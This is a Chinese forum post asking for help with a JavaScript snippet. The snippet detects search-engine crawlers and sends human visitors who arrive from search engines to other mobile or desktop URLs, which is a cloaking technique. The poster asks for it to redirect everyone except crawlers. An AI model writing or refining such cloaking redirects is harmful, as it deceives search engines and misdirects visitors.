(已解决)JS大佬们,我又来求答案了!付费!

15次阅读

共计 992 个字符,预计需要花费 3 分钟才能阅读完成。

本帖最后由 gamerock 于 2024-5-31 19:40 编辑 function isSpider() {// 判断是否为蜘蛛,是蜘蛛返回 true  if ((navigator.userAgent.match(/(Baiduspider|YisouSpider|360Spider|HaosouSpider|AdsBot|Googlebot|bingbot|Sogou web spider|Sosospider)/i)))    return true;  else    return false;}function is_from_search_engine(){// 如果是搜索引擎点点入  var r = document.referrer;  r = r.toLowerCase();   var aSites = new Array(‘google.’,’baidu.’,’sm.’,’soso.’,’so.’,’360.’,’yahoo.’,’youdao.’,’sogou.’,’gougou.’,’bing.’);// 搜索引擎入口设为数组  var b = false;  for (var i in aSites){if (r.indexOf(aSites[i]) > 0){b = true;      break;}  }  return b;}function isMobile() {// 判断如果是手机端和电脑端跳转不同的网页  if ((navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i)))    return true;  else    return false;}if(!isSpider()){if(is_from_search_engine()){if(isMobile()) {window.location.href = ‘ 这里写手机跳转网址 ’;} else {window.location.href = ‘ 这里电脑跳转网址 ’;}  }} 复制代码
能不能修改成除了蜘蛛不跳,别的都跳转!我放到网站里面不跳转!

正文完
 0